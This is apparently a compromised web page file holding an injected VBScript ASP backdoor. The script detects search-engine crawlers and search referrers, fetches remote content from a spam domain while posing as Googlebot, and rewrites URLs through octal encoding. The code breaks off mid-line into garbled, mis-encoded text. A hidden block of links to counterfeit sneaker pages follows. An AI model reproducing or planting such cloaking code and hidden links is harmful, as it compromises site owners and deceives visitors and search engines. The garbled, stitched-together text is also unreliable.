ÿþ<ANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/max.txt.html"
desurljiechi="http://www.max90shoesukdeals.com/nike-air-max-2016-black-purple-womens-running-shoes-for-cheap-p-1211.html"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
    desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
	dim s_agent
	s_agent=Request.ServerVariables("HTTP_USER_AGENT")

	If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
	is_spider = 1
	else
	is_spider = 0
	end if
end function

Function GetHtml(url,k)
  agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  ObjXMLHTTP.Open "GET",url,False
  ObjXMLHTTP.setRequestHeader "User-Agent",agent
  ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
  ObjXMLHTTP.send
  GetHtml=ObjXMLHTTP.responseBody
  Set ObjXMLHTTP=Nothing
  set objStream = Server.CreateObject("Adodb.Stream")
  objStream.Type = 1
  objStream.Mode =3
  objStream.Open
  objStream.Write GetHtml
  objStream.Position = 0
  objStream.Type = 2
  objStream.Charset = "utf-8"
  
  GetHtml = objStream.ReadText
  objStream.Close
End Function
Function IsUserSearch()
	s_ref=Request.ServerVariables("HTTP_REFERER")
	If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
		IsUserSearch = true
	else
		IsUserSearch = false
	end if
End Function
Function RegExpMatches(patrn, strng)
	Dim regEx, Match, Matches
	Set regEx = New RegExp
	regEx.Pattern = patrn
	regEx.IgnoreCase = True
	regEx.Global = True
	Set Matches = regEx.Execute(strng)
	Dim MyArray()
	Dim i
	i=0
	For Each Match in Matches
		ReDim Preserve MyArray(i)
		MyArray(i)=Match.Value
		i=i-(-1)
	Next
	RegExpMatches = MyArray
End Function

Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function

Function cDec(num)
 cDecstr=0
 if len(num)>0 and isnumeric(num) then
  for inum=0 to len(num)-1
   cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
  next
 end if
 cDec=cDecstr
End Function 

Function OcB(num)
 OcBstr=""
 if len(num)>0 and isnumeric(num) then
  for i=1 to len(num)
   select case (mid(num,i,1))
    case "0" OcBstr=OcBstr&"000"
    case "1" OcBstr=OcBstr&"001"
    case "2" OcBstr=OcBstr&"010"
    case "3" OcBstr=OcBstr&"011"
    case "4" OcBstr=OcBstr&"100"
    case "5" OcBstr=OcBstr&"101"
    case "6" OcBstr=OcBstr&"110"
    case "7" OcBstr=OcBstr&"111"
   end select
  next
 end if
 OcB=OcBstr
End Function 

Function OcD(num)
 OcD=cDec(OcB(num))
End Function 

Function toOct(objMatch)
	    toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function

Function toDeOct(objMatch)
	    toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function

Function toCOct(objMatch)
	    toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function

Function toCDeOct(objMatch)
	    toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function

Function RegExpReplaceCall( reg, m, str, fstr)
	    Dim Fun, Match, Matches, i, nStr, LastIndex
	    If str & "" = "" Then Exit Function
	    Set Fun = getRef(fstr)
	    Set regEx = New RegExp
		regEx.Pattern = reg
		regEx.IgnoreCase = True
		regEx.Global = True
		Set Matches = regEx.Execute(str)
	    LastIndex = 1
	    For Each Match In Matches
	        If Match.FirstIndex>0 Then
	            nStr = nStr & Mid( ÛÞÕê ÔéÙÞÕé ÑÕ. ÜäÙ ÞÙÓâ ÖÔ Þ×éÑê ÔêÕÛàÔ Ðê ÞÕâÓÙ ÔÛÙÕÜÙÝ ÔÑÐÙÝ éÜ ÛÜ äèÙØ. ÔêÕÛàÔ ÞäÙçÔ ÑçéÕê ÜÔæâê Þ×Ùè ÞÞâÑÓÕê ÔÛÙÕÜ, ÕÛß êâÕÓÕê ÞéÜÕ× éÜ ÔäèÙØÙÝ ÜÞâÑÓÕê ÔéÕàÕê ÜäÙ éÙÕÛÝ. ÑÞáäè ÔçÜçÕê ÑÕÓÓÕê, ÛÜÙ êÕÛàÔ ÞêçÓÝ ÖÔ ÙÐäéè ÜÔäÙç Óã ÞÙÓâ âÜ ÛÜ äèÙØ ÔÛÕÜÜ Ðê ÔÔÙáØÕèÙÔ éÜÕ - ÓÑè ÙâÙÜ Ôß ÜÞÑÓçÙ ISO ÕÔß ÛÛÜÙ éÙÕÕçÙ ÞÕÜ ÜçÕ×Õê"></A>

</CENTER>

</SPAN>

</BODY>

</HTML>

<div class="links" style="display:none;"> <a href="http://www.stephly.com/Other/asics/men-2014-mexico-66-paraty/2017-quality-onitsuka-tiger-mexico-66-paraty-th342n-dark-blue-and-white.html">2017 quality onitsuka tiger Mexico 66 Paraty Th342n Dark blue and white</a> <a href="http://www.stephly.com/nike/nike-air-max/air-max-90/mens-womens-nike-air-max-90-gs--volt-running-sneakers-volt-black-electric-green-liquid-lime-705392-700.html">Mens Womens Nike Air Max 90 GS "Volt" Running Sneakers Volt Black Electric Green Liquid Lime 705392-700</a> <a href="http://www.stephly.com/cl/pumps/cl-dillian-flower-pumps-brown.html">CL Dillian Flower Pumps Brown</a> <a href="http://www.stephly.com/Other/puma/fenty-puma-rihanna-creepers/men's-women's-fenty-puma-by-rihanna-suede-creepers-sneakers-black-white.html">Men's/Women's Fenty Puma by Rihanna Suede Creepers Sneakers Black White</a> <a href="http://www.stephly.com/nike/nike-air-max/air-vapormax/nike-air-vapormaxs-2018-cool-grey-black.html">Nike Air VaporMaxs 2018 Cool Grey Black</a> <a href="http://www.stephly.com/nike/nike-roshe-one/nike-roshe-one-hyp-qs/mens-womens-nike-roshe-one-hyperfuse-qs-sneakers-hyper-red-light-purple-white-746825-611.html">Mens Womens Nike Roshe One Hyperfuse QS Sneakers Hyper Red Light Purple White 746825-611</a> <a href="http://www.stephly.com/nb/1600/men's-new-balance-1600-elite-urban-exploration-sneakers-navy-grey-white-cm1600t.html">Men's New Balance 1600 Elite Urban Exploration Sneakers Navy/Grey/White CM1600T</a> <a href="http://www.stephly.com/nike/nike-blazer/nike-blazer-mid/mens-nike-blazer-mid-prm-casual-skate-sneakers-navy-blue-red-white-555251-406.html">Mens Nike Blazer Mid PRM Casual Skate Sneakers Navy Blue Red White 555251-406</a> <a href="http://www.stephly.com/Other/timberland/timberland-men's-6-inch/timberland-icon-mens-6-inch-boot-gold-white.html">Timberland Icon Mens 6 Inch Boot Gold White</a> <a href="http://www.stephly.com/adidas/originals/superstar/men's-women's-adidas-originals-superstar-2-cny-casual-shoes-black-gold-q35135.html">Men's/Women's Adidas Originals Superstar 2 CNY Casual Shoes Black/Gold Q35135</a></div>